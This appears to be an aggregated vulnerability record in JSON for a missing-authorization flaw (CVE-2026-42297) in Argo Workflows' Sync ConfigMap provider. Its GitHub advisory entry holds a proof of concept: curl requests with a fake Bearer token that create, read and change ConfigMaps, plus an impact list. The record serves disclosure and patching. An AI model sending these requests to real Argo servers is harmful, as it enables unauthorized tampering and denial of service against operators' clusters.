{"id":"BIT-argo-workflows-2026-42297","revision":null,"records":[{"revision":"2ca3a76cdd984a74a2e358a33cc0f041","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42297","aliases":[],"title":"Argo Workflows Is Missing Authorization in Sync ConfigMap Provider","description":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.","state":0,"publishedAt":"2026-05-09T03:42:43.305+00:00","modifiedAt":"2026-07-15T00:57:41.809+00:00","affected":[{"ecosystem":"Vendor product","name":"argo-workflows","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"argoproj\",\n                    \"product\": \"argo-workflows\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.0.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H","score":8.5,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q","https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6","https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42297","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42297","identifiers":["CVE-2026-42297"]},"retained":false,"historicalAffected":[]},{"revision":"d88d4e5bdc89488587a3a25a4c43053c","observedAt":"2026-11-15T13:05:19.149+00:00","statement":{"source":"euvd","id":"EUVD-2026-28895","aliases":["CVE-2026-42297","GHSA-xchc-cqwg-g76q"],"title":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero…","description":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H","score":8.5,"severity":null}],"references":["https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q","https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6","https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28895","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 9, 2026, 3:42:43 AM","dateUpdated":"Jul 15, 2026, 12:57:41 AM"},"relatedAdvisories":[{"id":"RHSA-2026:73987","title":"Red Hat Security Advisory: RHOAI 3.3.7 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-61726","CVE-2025-66471","CVE-2025-71408","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-5422","CVE-2026-6321","CVE-2026-6734","CVE-2026-9697","CVE-2026-11816","CVE-2026-11822","CVE-2026-11824","CVE-2026-12151","CVE-2026-13149","CVE-2026-15154","CVE-2026-15378","CVE-2026-16221","CVE-2026-16745","CVE-2026-18951","CVE-2026-23490","CVE-2026-25681","CVE-2026-27136","CVE-2026-27489","CVE-2026-27893","CVE-2026-28356","CVE-2026-28500","CVE-2026-28684","CVE-2026-31230","CVE-2026-31958","CVE-2026-32274","CVE-2026-32286","CVE-2026-32597","CVE-2026-33186","CVE-2026-33231","CVE-2026-33245","CVE-2026-33811","CVE-2026-33814","CVE-2026-33815","CVE-2026-33816","CVE-2026-34445","CVE-2026-34986","CVE-2026-34993","CVE-2026-35397","CVE-2026-35536","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-40110","CVE-2026-41242","CVE-2026-42215","CVE-2026-42294","CVE-2026-42296","CVE-2026-42297","CVE-2026-42338","CVE-2026-42502","CVE-2026-42508","CVE-2026-44240","CVE-2026-44431","CVE-2026-44432","CVE-2026-44727","CVE-2026-44843","CVE-2026-45736","CVE-2026-46595","CVE-2026-48526","CVE-2026-48586","CVE-2026-48710","CVE-2026-48746","CVE-2026-48779","CVE-2026-49855","CVE-2026-53550","CVE-2026-54058","CVE-2026-54283","CVE-2026-55969","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-62384","CVE-2026-63310","CVE-2026-64834","CVE-2026-64835","CVE-2026-66036","CVE-2026-66037","CVE-2026-66038","CVE-2026-66040","CVE-2026-67322","CVE-2026-67323","CVE-2026-67325","CVE-2026-68770","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-73089","CVE-2026-73415","CVE-2026-73417","CVE-2026-73627","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81727","CVE-2026-84375","CVE-2026-84445"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28895","identifiers":["EUVD-2026-28895","CVE-2026-42297","GHSA-xchc-cqwg-g76q"]},"retained":false,"historicalAffected":[]},{"revision":"f70550fd15f84eb6bdcb50e249654f42","observedAt":"2026-10-25T10:17:10.603+00:00","statement":{"source":"nvd","id":"CVE-2026-42297","aliases":[],"title":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero…","description":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.","state":0,"publishedAt":"2026-05-09T04:16:25.727+00:00","modifiedAt":"2026-07-24T21:10:00.143+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.5,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6","https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5","https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q","https://access.redhat.com/security/cve/CVE-2026-42297","https://bugzilla.redhat.com/show_bug.cgi?id=2468448","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42297.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42297","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-862","CWE-425"],"productCriteria":["cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*"],"sourceDates":{"published":"2026-05-09T04:16:25.727","lastModified":"2026-07-24T21:10:00.143"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42297","identifiers":["CVE-2026-42297"]},"retained":false,"historicalAffected":[]},{"revision":"df38375a4a3f4d9c8a4289a553bd0510","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-xchc-cqwg-g76q","aliases":["BIT-argo-workflows-2026-42297","CVE-2026-42297","GO-2026-5751"],"title":"Argo has Missing Authorization in its Sync ConfigMap Provider","description":"### Summary\nThe Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.\n\n### Details\nThe ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:\n\n```go\n// sync_cm.go — UNPROTECTED\nfunc (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {\n    // NO auth.CanI check\n    kubeClient := auth.GetKubeClient(ctx)\n    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)\n    // ... directly creates/updates ConfigMaps\n}\n```\n- `server/sync/sync_cm.go` — lines 23-155\n- All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`\n\n### PoC\n### Prerequisites\n\n- Argo Server running with `--auth-mode=server`\n- Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`\n\n### Step 1: Create Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X POST \"https://localhost:2746/api/v1/sync/default\" \\\n  -H \"Authorization: Bearer fake-token\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 5}'\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\nVerify ConfigMap was created in Kubernetes:\n\n```bash\nkubectl get configmap test-sync -n default\n```\n\n```\nNAME        DATA   AGE\ntest-sync   1      74s\n```\n\n### Step 2: Read Sync Limit (Fake Token)\n\n```bash\ncurl -sk \"https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync\" \\\n  -H \"Authorization: Bearer fake-token\"\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\n### Step 3: Update Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X PUT \"https://localhost:2746/api/v1/sync/default/test-key\" \\\n  -H \"Authorization: Bearer fake-token\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 999}'\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":999}`\n\nVerify the ConfigMap was actually modified:\n\n```bash\nkubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'\n```\n\n```\n999\n```\n\n### Impact\nAn attacker with network access to the Argo Server can:\n\n1. **Denial of Service** — Set sync limits to `0` or `1`, blocking all parallel workflow execution\n2. **Workflow Disruption** — Modify existing sync limits to break running workflows\n3. **Information Disclosure** — Read ConfigMap data that may contain sensitive configuration\n4. **Arbitrary ConfigMap Manipulation** — Create/delete ConfigMaps in any namespace accessible to the server's service account\n\n## Related CVEs\n\n- **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check)\n- **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern","state":0,"publishedAt":"2026-05-04T20:00:18+00:00","modifiedAt":"2026-09-10T03:50:48.0818231+00:00","affected":[{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q","https://nvd.nist.gov/vuln/detail/CVE-2026-42297","https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6","https://github.com/argoproj/argo-workflows","https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"],"sourceUrl":"https://github.com/advisories/GHSA-xchc-cqwg-g76q","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xchc-cqwg-g76q","identifiers":["GHSA-xchc-cqwg-g76q","BIT-argo-workflows-2026-42297","CVE-2026-42297","GO-2026-5751"]},"retained":false,"historicalAffected":[]},{"revision":"717e13fbd1bb43258c02a0214df6a068","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5751","aliases":["BIT-argo-workflows-2026-42297","CVE-2026-42297","GHSA-xchc-cqwg-g76q"],"title":"Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows","description":"Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows","state":0,"publishedAt":"2026-06-25T22:34:41+00:00","modifiedAt":"2026-07-02T14:44:24.9146988+00:00","affected":[{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q","https://nvd.nist.gov/vuln/detail/CVE-2026-42297","https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6","https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5751","license":"OSV · upstream source license applies","key":"osv:GO-2026-5751","identifiers":["GO-2026-5751","BIT-argo-workflows-2026-42297","CVE-2026-42297","GHSA-xchc-cqwg-g76q"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.2867767+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.2867777+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-24e910670d68255a90dfc1d94d37ac5394a0a43e960361a78142e746e5b8e0e9","complete":true,"records":425790,"lastAttemptAt":"2026-11-15T13:01:16.7308429+00:00","lastSuccessAt":"2026-11-15T13:01:16.7018281+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:16.7308429+00:00","snapshotPublishedAt":"2026-11-15T12:22:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-47f38f0996d04d31b51da25d0a0d9bc1","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:17:28.4296709+00:00","lastSuccessAt":"2026-11-15T13:17:28.424+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:17:28.424+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13628,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.3027206+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.3027219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-00496e381624434cb51cd6ee97f87d5f","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T13:02:04.5706057+00:00","lastSuccessAt":"2026-11-15T13:02:04.555+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:02:04.555+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T13:01:38.1237717+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:38.1237717+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T13:01:22.067621+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:22.067621+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T13:01:41.1317031+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:41.1317031+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T13:01:28.8971106+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:28.8971106+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}